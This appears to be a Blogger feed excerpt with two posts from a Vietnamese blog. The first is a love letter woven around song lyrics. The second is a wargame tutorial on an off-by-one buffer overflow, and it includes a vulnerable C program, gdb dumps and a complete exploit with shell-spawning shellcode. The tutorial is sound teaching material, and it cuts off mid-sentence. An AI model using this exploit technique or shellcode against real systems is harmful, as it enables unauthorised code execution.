/&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;   &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="Normal"&gt;&lt;i&gt;"Shed a tear 'cause I'm  missin' you&lt;br /&gt;I'm still  alright to smile&lt;br /&gt;Girl, I think about you every day now&lt;br /&gt;Was a time  when I wasn't sure&lt;br /&gt;But you set my mind at ease&lt;br /&gt;There is no doubt&lt;br /&gt;You're  in my heart now"&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt; &lt;/div&gt;&lt;div class="Normal"&gt;Cả đêm qua anh đã không ngủ được vì những cảm xúc kia   lại quay về ám ảnh anh. Anh nhớ mình đã từng nói với em, anh rất thích   đoạn huýt sáo và đoạn dạo guittar đầu của nó, có cái giác gì trống  vắng,  cứ chậm chậm thôi mà nghe thật cô đơn. Đêm, cái không gian tĩnh  mịch đó  lại làm anh nhớ về em. Khóc? Anh đang tự hỏi mình đang khóc vì  cái gì  đây? Nhớ em, áp lực cuộc sống hay vì cái gì đó. Anh cũng chả  biết nữa,  nhưng anh vẫn chắc một điều, anh vẫn có thể cười khi gặp em.  Em à, anh  đang nghĩ về em như bao ngày, em vẫn vậy vẫn luôn ngự trị  trong trái tim  anh. Nhưng giờ anh biết, anh mất cơ hội được nhìn thấy  nụ cười của em,  giọng nói ấm áp, sưởi ấm tâm hồm anh những ngày tháng  qua rồi.&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;&lt;i&gt;"Said, woman, take it slow&lt;br /&gt;It'll work itself  out fine&lt;br /&gt;All we need is just a little patience&lt;br /&gt;Said, sugar, make  it slow&lt;br /&gt;And we come together fine&lt;br /&gt;All we need is just a little  patience&lt;br /&gt;(patience)&lt;br /&gt;Mm, yeah"&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Em nói rằng, cứ chầm chậm  thôi, hay cho em thêm thời  gian. Cái chúng ta cần là một chút gì đó  kiên nhẫn, thời gian, mọi thứ  sẽ trở nên tốt đẹp hơn. Nhiều lúc anh tự  hỏi mình, không biết anh kiên  nhẫn vậy đã đủ chưa, hay còn phải kiên  nhẫn hơn nữa. Mà không biết em  bắt anh phải kiên nhẫn đến bao giờ, hãy  cho anh một câu trả lời. Một câu  thôi, để xóa đi sự chờ đợi của anh  trong suốt thời gian vừa qua, để anh  có thể bước tiếp...&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Nhưng thực tế cho thấy, em chẳng nói gì, mặc anh trong   chờ đợi.&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Đã có những lúc anh muốn nói  với em, anh mệt mỏi lắm  rồi, nhưng anh không đủ can đảm hay nói đúng  hơn là anh không thể nói  ra, với anh, em quá tuyệt vời. Ngày trước, khi  em xuất hiện, anh như tìm  ra một cái gì đó mới mẻ mà anh nghĩ nó đã  thay đổi cuộc sống của anh.  Và đúng thế thật, nó đã thay đổi như ngày  hôm nay, thay đổi khiến anh  không ngờ đến.&lt;/div&gt;&lt;div class="Normal"&gt;&lt;i&gt;"I  sit here on the stairs&lt;br /&gt;'Cause I'd rather be  alone&lt;br /&gt;If I can't have you right now&lt;br /&gt;I'll wait, dear&lt;br /&gt;Sometimes I  get so tense&lt;br /&gt;But I can't speed up the time&lt;br /&gt;But you know, love&lt;br /&gt;There's  one more thing to consider"&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Anh  đang ngồi bên những bậc cầu thang, anh muốn mình  đơn độc, cô đơn. Điều  đó còn làm anh thoải mái hơn khi nghĩ về em. Em  bảo anh chờ, anh sẽ  chờ, sẽ đếm từng ngày, đôi lúc anh muốn xé toạc cái  khoảng thời gian  đó, chờ với cái niềm tin nhỏ bé: "Mọi thứ sẽ trở nên  tốt đẹp". Nhưng em  có hiểu một điều rằng "tình yêu không phải là thứ để  chiêm ngưỡng".  Anh mệt mỏi và sự kiên nhẫn trong anh đang lụi tàn.&lt;/div&gt;&lt;div class="Normal"&gt;&lt;i&gt;"Said, woman, take it slow&lt;br /&gt;And things will be  just fine&lt;br /&gt;You and I'll just use a little patience&lt;br /&gt;Said, sugar,  take the time&lt;br /&gt;'Cause the lights are shining bright&lt;br /&gt;You and I've  got what it takes&lt;br /&gt;To make it, We won't fake it,&lt;br /&gt;I'll never break  it&lt;br /&gt;'cause I can't take it"&lt;/i&gt;&lt;/div&gt;&lt;div class="Normal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="left"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;div class="Point"&gt;&lt;div class="fl"&gt;&lt;div class="fl"&gt;&lt;img alt="" src="http://vnexpress.net/Images/Point/TopLeft.gif" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="fl"&gt;&lt;div class="fl"&gt;&lt;img alt="" src="http://vnexpress.net/Images/Point/BottomLeft.gif" /&gt;&lt;/div&gt;&lt;div class="fl"&gt;&lt;img alt="" src="http://vnexpress.net/Images/Point/BottomRight.gif" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;script src="http://vnexpress.net/Library/Common/Point.js" type="text/javascript"&gt;&lt;/script&gt;       &lt;script language="javascript"&gt;   showpoint(1000463781, 0, 79459896, 1);   function pointdetail79459896(){    if (gmobj('PointGeneral79459896').style.display==''){     gmobj('PointGeneral79459896').style.display='none';     gmobj('PointDetail79459896').style.display='';     gmobj('imgDetail79459896').src='/Images/Point/Back.gif';    }    else{     gmobj('PointGeneral79459896').style.display='';     gmobj('PointDetail79459896').style.display='none';     gmobj('imgDetail79459896').src='/Images/Point/Detail.gif';    }   }  &lt;/script&gt;  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Em nói hãy kiên nhẫn, kiên nhẫn đời chờ rồi mọi thứ  sẽ tốt đẹp. Ánh  bình minh sẽ lại tỏa sáng, và sẽ có một ngày chúng ta  sẽ bên nhau. Anh  đã tin, ít nhất đến thời điểm mà anh thấy em đã gặp và  yêu một người  khác, cái người mà em mới gặp chưa tới nửa tháng. Vậy  thì liệu sự kiên  nhẫn nó có ở đây không? Hay chỉ là sự lừa dối, một  hình thức lót đường  để tìm một người mới. Vậy thì sau này anh có cần  kiên nhẩn chờ đợi nữa  hay không? Sẽ tiếp tục kiên nhẫn nữa chứ. Liệu  anh có thể dũng cảm đi  tiếp con đường mà anh không còn có em bên cạnh  nữa không. Anh đã từng  hứa anh sẽ làm nên tình yêu, sẽ chẳng bao giờ  đánh mất nó, vì tình cảm  anh dành cho em luôn là sự chân thật từ trong  lòng mình. Anh sẽ chăng  đánh mất nó vì anh có bao giờ có nó đâu.&lt;br /&gt;&lt;br /&gt;&lt;div class="Normal"&gt;&lt;i&gt;"I been walkin' the streets at night&lt;br /&gt;Just  tryin' to get it right&lt;br /&gt;Hard to see with so many around&lt;br /&gt;You know I  don't like&lt;br /&gt;Being stuck in the crowd&lt;br /&gt;And the streets don't change&lt;br /&gt;But  baby the name&lt;br /&gt;I ain't got time for the game&lt;br /&gt;'cause I need you&lt;br /&gt;Yeah,  yeah, but I need you&lt;br /&gt;Oo, I need you&lt;br /&gt;Whoa, I need you&lt;br /&gt;Oo, all  this time"&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Lang thang trên  những con phố, có lẽ là cách tốt nhất  với anh lúc này. Cho dù thật là  khó khăn để tìm một lối đi cho riêng  mình lúc này, mọi cái đều phảng  phất hình ảnh em. Em biết đấy, anh ghét  sự đông đúc, ghét cái tắc đường  của Hà Nội, những con đường chẳng bao  giờ thay đổi, chỉ có em là thay  đổi. Nhưng anh cần em, ít nhất vào lúc  này, khi niềm tin trong anh đang  cạn kiệt mỗi phút trôi qua. Em đừng đem  thời gian để làm trò chơi với  anh được không, hãy cho anh niềm tin. Vì  anh biết "Tình yêu, nếu có thể  hãy dành cho nó sự kiên nhẫn".&amp;nbsp;&lt;/div&gt;&lt;div class="Normal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div align="center" class="Normal"&gt;&lt;b&gt;Patience&lt;/b&gt;&lt;/div&gt;&lt;div align="right" class="Normal"&gt;&lt;i&gt;Trình bày: Guns N' Roses&lt;/i&gt;&lt;/div&gt;&lt;div class="Normal"&gt;Shed a tear 'cause I'm missin' you&lt;br /&gt;I'm still   alright to smile&lt;br /&gt;Girl, I think about you every day now&lt;br /&gt;Was a  time  when I wasn't sure&lt;br /&gt;But you set my mind at ease&lt;br /&gt;There  is no doubt&lt;br /&gt;You're  in my heart now&lt;/div&gt;&lt;div class="Normal"&gt;Said,  woman, take it slow&lt;br /&gt;It'll work itself out  fine&lt;br /&gt;All we need  is just a little patience&lt;br /&gt;Said, sugar, make it  slow&lt;br /&gt;And we  come together fine&lt;br /&gt;All we need is just a little  patience&lt;br /&gt;(patience)&lt;br /&gt;Mm,  yeah&lt;/div&gt;&lt;div class="Normal"&gt;I sit here on the stairs&lt;br /&gt;'Cause  I'd rather be alone&lt;br /&gt;If  I can't have you right now&lt;br /&gt;I'll  wait, dear&lt;br /&gt;Sometimes I get so  tense&lt;br /&gt;But I can't speed up  the time&lt;br /&gt;But you know, love&lt;br /&gt;There's  one more thing to  consider&lt;/div&gt;&lt;div class="Normal"&gt;Said, woman, take it slow&lt;br /&gt;And  things will be just  fine&lt;br /&gt;You and I'll just use a little patience&lt;br /&gt;Said,  sugar, take the  time&lt;br /&gt;'Cause the lights are shining bright&lt;br /&gt;You  and I've got what  it takes&lt;br /&gt;To make it, We won't fake it,&lt;br /&gt;I'll  never break it&lt;br /&gt;'cause  I can't take it&lt;/div&gt;&lt;div class="Normal"&gt;I been walkin' the streets at night&lt;br /&gt;Just tryin'  to  get it right&lt;br /&gt;Hard to see with so many around&lt;br /&gt;You know I  don't like&lt;br /&gt;Being  stuck in the crowd&lt;br /&gt;And the streets don't  change&lt;br /&gt;But baby the name&lt;br /&gt;I  ain't got time for the game&lt;br /&gt;'cause  I need you&lt;br /&gt;Yeah, yeah, but I  need you&lt;br /&gt;Oo, I need you&lt;br /&gt;Whoa,  I need you&lt;br /&gt;Oo, all this time&lt;/div&gt;&lt;div class="Normal"&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: right;"&gt;&lt;a href="http://vnexpress.net/GL/Ban-doc-viet/Van-hoa/2010/07/3BA1DDA5/"&gt;&amp;nbsp;  Source.&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;gửi đến em : Thật sự anh đang rất kiên  nhẫn, anh sẽ đợi đến khi nào em muốn, điều đó cũng là một phần thử thách  của tình yêu phải không em. Cho dù bây giờ, giữa chúng ta, một khoảng  cách mơ hồ đang ngự trị, em giận anh, anh giận em, chúng ta đã không gặp  nhau lâu rồi . Anh rất muốn gặp em, nói với em rằng anh rất yêu em, hơn  nhiều lần em có thể tưởng tượng, anh yêu em hơn bất kì ai khác. Anh yêu  em, đơn giản chỉ vì em là em, là một nửa của đời anh, và em đã ngự trị  hoàn toàn trái tim anh rồi .&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Em có nhớ lúc ở KTX ĐHQG không, lúc hai đứa, H và An đang  đùa với nhau, nói chuyện tương lai, gia đình. Rồi anh hỏi em "Còn hai  đứa mình thì sao ?", em đã nhìn anh, với ánh mắt diệu dàng, ánh mắt làm  anh say đắm. Anh cá rằng, không người con gái nào có ánh mắt đẹp như em.  Em trả lời rằng "Biết rồi còn hỏi !", giọng em nũng nịu làm sao. Dù lấp  lửng, nhưng anh hiểu, đó là lời thú tội ngọt ngào của em, rằng em cũng  như anh, đã rơi vào cái bẫy của thần tình ái phải không . Anh yêu em, và  xin em, hãy là chính mình, sống bằng con tim, hãy cùng anh yêu cho hết  khác khao cháy bỏng, yêu như hai kẻ điên cuồng. Như Xuân diệu đã từng  viết :&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;Hãy sát đôi đầu! Hãy kề đôi ngực!  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Hãy trộn  nhau đôi mái tóc ngắn dài!  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Những cánh tay! Hãy quấn riết  đôi vai!  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Hãy dâng cả tình yêu lên sóng mắt!  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Hãy  khắng khít những cặp môi gắn chặt  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cho anh nghe đôi hàm  ngọc của răng;  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Trong say-sưa, anh sẽ bảo em rằng :  &lt;/b&gt;&lt;br /&gt;&lt;b&gt;"Gần  thêm nữa! Thế vẫn còn xa lắm!" &lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;Anh sẽ chờ  em, hãy hoàn thành những gì em cần làm, hãy thực hiện nó thật tốt. Và  hãy luôn nhớ rằng, trên con đường em đang đi, bên em đó là anh, luôn dõi  theo em mỗi ngày. Em thấy không, phía cuối đường kia, ngôi nhà và những  đứa trẻ .&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Anh yêu em.&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4553869864745282433?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4553869864745282433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/anh-yeu-em-neu-co-hay-cho-tinh-yeu-su.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4553869864745282433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4553869864745282433'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/anh-yeu-em-neu-co-hay-cho-tinh-yeu-su.html' title='Anh yêu em - Nếu có thể hãy cho tình yêu sự kiên nhẫn'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-6740282661654885354</id><published>2010-07-05T16:48:00.001+07:00</published><updated>2010-07-05T16:49:09.221+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='wargame'/><category scheme='http://www.blogger.com/atom/ns#' term='bufferoverflow'/><title type='text'>Off by one - overwrite ebp with one byte .</title><content type='html'>Trong các tình huống tràn bộ đệm khác  nhau, nhiều trường hợp, chỉ có  thể ghi đè được 1 byte duy nhất ra ngoài  vùng được phép - ghi đè 1  byte lên thanh ghi ebp. Bài viết này sẽ trình  bày một số điểm khái quát  trong quá trình tận dụng lỗi này .&lt;br /&gt;&lt;br /&gt;Trước  hết, một  source code của chương trình bị lỗi như sau :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp;collapse: true"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;func(char *sm)&lt;br /&gt;{&lt;br /&gt;        char buffer[256];&lt;br /&gt;        int i;&lt;br /&gt;        for(i=0;i&amp;lt;=256;i++)&lt;br /&gt;                buffer[i]=sm[i];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;        if (argc &amp;lt; 2) {&lt;br /&gt;                printf("missing args\n");&lt;br /&gt;                exit(-1);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        func(argv[1]);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Để khai thác được lỗi này, thì phải compile chương   trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone&lt;/pre&gt;&lt;br /&gt;Hàm  func() của chương trình trên đã bị lỗi ở đoạn&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;for(i=0;i&amp;lt;=256;i++)&lt;br /&gt;      buffer[i]=sm[i];&lt;/pre&gt;&lt;br /&gt;Thay vì chép 256 bytes, thì nó   đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị  ghi  đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè  như  sau :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;saved_eip&lt;br /&gt; saved_ebp (bị ghi đè 1 byte)   &lt;br /&gt; AAAAAAAAA   \&lt;br /&gt; AAAAAAAAA    |  char buffer &lt;br /&gt; AAAAAAAAA   /&lt;br /&gt; int i&lt;/pre&gt;&lt;br /&gt;Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn   việc $ebp bị ghi đè như thế nào : &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;(gdb)   disass func&lt;br /&gt;Dump of assembler code for function func:&lt;br /&gt;0x080483d4   &lt;func+0&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; %ebp&lt;br /&gt;0x080483d5 &lt;func+1&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %esp,%ebp&lt;br /&gt;0x080483d7 &lt;func+3&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; sub&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x104,%esp&lt;br /&gt;0x080483dd &lt;func+9&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; movl&amp;nbsp;&amp;nbsp; $0x0,0xfffffefc(%ebp)&lt;br /&gt;0x080483e7 &lt;func+19&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; cmpl&amp;nbsp;&amp;nbsp; $0x100,0xfffffefc(%ebp)&lt;br /&gt;0x080483f1 &lt;func+29&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; jg&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x8048418 &lt;func+68&gt;&lt;br /&gt;0x080483f3 &lt;func+31&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xffffff00(%ebp),%eax&lt;br /&gt;0x080483f9 &lt;func+37&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%edx&lt;br /&gt;0x080483fb &lt;func+39&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xfffffefc(%ebp),%edx&lt;br /&gt;0x08048401 &lt;func+45&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xfffffefc(%ebp),%eax&lt;br /&gt;0x08048407 &lt;func+51&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x8(%ebp),%eax&lt;br /&gt;0x0804840a &lt;func+54&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%al&lt;br /&gt;0x0804840c &lt;func+56&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %al,(%edx)&lt;br /&gt;0x0804840e &lt;func+58&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xfffffefc(%ebp),%eax&lt;br /&gt;0x08048414 &lt;func+64&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; incl&amp;nbsp;&amp;nbsp; (%eax)&lt;br /&gt;0x08048416 &lt;func+66&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x80483e7 &lt;func+19&gt;&lt;br /&gt;0x08048418 &lt;func+68&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; leave&amp;nbsp; &lt;br /&gt;0x08048419 &lt;func+69&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;End of assembler dump.&lt;/func+69&gt;&lt;/func+68&gt;&lt;/func+19&gt;&lt;/func+66&gt;&lt;/func+64&gt;&lt;/func+58&gt;&lt;/func+56&gt;&lt;/func+54&gt;&lt;/func+51&gt;&lt;/func+45&gt;&lt;/func+39&gt;&lt;/func+37&gt;&lt;/func+31&gt;&lt;/func+68&gt;&lt;/func+29&gt;&lt;/func+19&gt;&lt;/func+9&gt;&lt;/func+3&gt;&lt;/func+1&gt;&lt;/func+0&gt;&lt;/blockquote&gt;&lt;blockquote&gt;(gdb)   disass main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x0804841a   &lt;main+0&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; %ebp&lt;br /&gt;0x0804841b &lt;main+1&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %esp,%ebp&lt;br /&gt;0x0804841d &lt;main+3&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; cmpl&amp;nbsp;&amp;nbsp; $0x1,0x8(%ebp)&lt;br /&gt;0x08048421 &lt;main+7&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; jg&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x8048437 &lt;main+29&gt;&lt;br /&gt;0x08048423 &lt;main+9&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; $0x8048554&lt;br /&gt;0x08048428 &lt;main+14&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 0x80482d8 &lt;printf@plt&gt;&lt;br /&gt;0x0804842d &lt;main+19&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%esp&lt;br /&gt;0x08048430 &lt;main+22&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp; $0xffffffff&lt;br /&gt;0x08048432 &lt;main+24&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 0x80482e8 &lt;exit@plt&gt;&lt;br /&gt;0x08048437 &lt;main+29&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xc(%ebp),%eax&lt;br /&gt;0x0804843a &lt;main+32&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%eax&lt;br /&gt;0x0804843d &lt;main+35&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; pushl&amp;nbsp; (%eax)&lt;br /&gt;0x0804843f &lt;main+37&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 0x80483d4 &lt;func&gt;&lt;br /&gt;0x08048444 &lt;main+42&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%esp&lt;br /&gt;0x08048447 &lt;main+45&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; leave&amp;nbsp; &lt;br /&gt;0x08048448 &lt;main+46&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) &lt;br /&gt;Continuing.&lt;br /&gt;Breakpoint 8, 0x08048447 in main ()&lt;br /&gt;(gdb) i r ebp&lt;br /&gt;ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffff4&lt;span style="color: red;"&gt;41&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp; 0xbffff4&lt;span style="color: red;"&gt;41&lt;/span&gt;&lt;br /&gt;(gdb)&lt;/main+46&gt;&lt;/main+45&gt;&lt;/main+42&gt;&lt;/func&gt;&lt;/main+37&gt;&lt;/main+35&gt;&lt;/main+32&gt;&lt;/main+29&gt;&lt;/exit@plt&gt;&lt;/main+24&gt;&lt;/main+22&gt;&lt;/main+19&gt;&lt;/printf@plt&gt;&lt;/main+14&gt;&lt;/main+9&gt;&lt;/main+29&gt;&lt;/main+7&gt;&lt;/main+3&gt;&lt;/main+1&gt;&lt;/main+0&gt;&lt;/blockquote&gt;&lt;br /&gt;Như   vậy, $ebp đã bị ghi đè đúng 1 byte. &lt;br /&gt;&lt;br /&gt;Giá trị của $esp   đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ  được  bố trí như sau :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;[NOP][shellcode][&amp;amp;NOP][1   byte X ghi đè lên ebp]&lt;/div&gt;&lt;br /&gt;Giá trị của X = [byte   thấp của &amp;amp;NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc   này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret   vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa   chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;(gdb)   b* 0x080483dd&lt;br /&gt;Breakpoint 6 at 0x80483dd&lt;br /&gt;(gdb) b*  0x08048418&lt;br /&gt;Breakpoint  7 at 0x8048418&lt;br /&gt;(gdb) r `python -c  'print "A"*257'`&lt;br /&gt;The  program being debugged has been started  already.&lt;br /&gt;Start it from the  beginning? (y or n) y&lt;br /&gt;Starting  program: /tmp/offone/offone  `python -c 'print "A"*257'`&lt;br /&gt;&lt;br /&gt;Breakpoint  6, 0x080483dd in  func ()&lt;br /&gt;(gdb) x/2x $esp&lt;br /&gt;0xbffff328:&amp;nbsp;&amp;nbsp;  &amp;nbsp;0xb7fcf000&amp;nbsp;&amp;nbsp;  &amp;nbsp;0xbffff380&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint   7, 0x08048418 in func ()&lt;br /&gt;(gdb) x/2x $esp&lt;br /&gt;0xbffff328:&amp;nbsp;&amp;nbsp;   &amp;nbsp;0x00000101&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span style="color: red;"&gt;0x41414141&lt;/span&gt;&lt;br /&gt;(gdb) &lt;/blockquote&gt;Như   vậy, địa chỉ ret về sẽ là 0xbffff32c . &lt;br /&gt;&lt;br /&gt;Chương trình   khai thác như sau :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;&lt;br /&gt;char sc_linux[] =&lt;br /&gt;        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"&lt;br /&gt;        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"&lt;br /&gt;        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"&lt;br /&gt;        "\xd7\xff\xff\xff/bin/sh";&lt;br /&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;        int i, j;&lt;br /&gt;        char buffer[1024];&lt;br /&gt;&lt;br /&gt;        bzero(&amp;amp;buffer, 1024);&lt;br /&gt;        for (i=0;i&amp;lt;=(248-sizeof(sc_linux));i++)&lt;br /&gt;        {&lt;br /&gt;                buffer[i] = 0x90;&lt;br /&gt;        }&lt;br /&gt;        for (j=0,i=i;j&amp;lt;(sizeof(sc_linux)-1);i++,j++)&lt;br /&gt;        {&lt;br /&gt;                buffer[i] = sc_linux[j];&lt;br /&gt;        }&lt;br /&gt;        buffer[i++] = 0x2c; /*&lt;br /&gt;        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp&lt;br /&gt;        buffer[i++] = 0xff;  *&lt;br /&gt;        buffer[i++] = 0xbf;  */&lt;br /&gt;        buffer[i++] = 0x2c; /*&lt;br /&gt;        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.&lt;br /&gt;        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .&lt;br /&gt;        buffer[i++] = 0xbf;  */&lt;br /&gt;        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &amp;amp;NOP.&lt;br /&gt;        execl("./offone", "offone", buffer, NULL);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Một số chi tiết về mã asm, địa chỉ sẽ   khác nhau 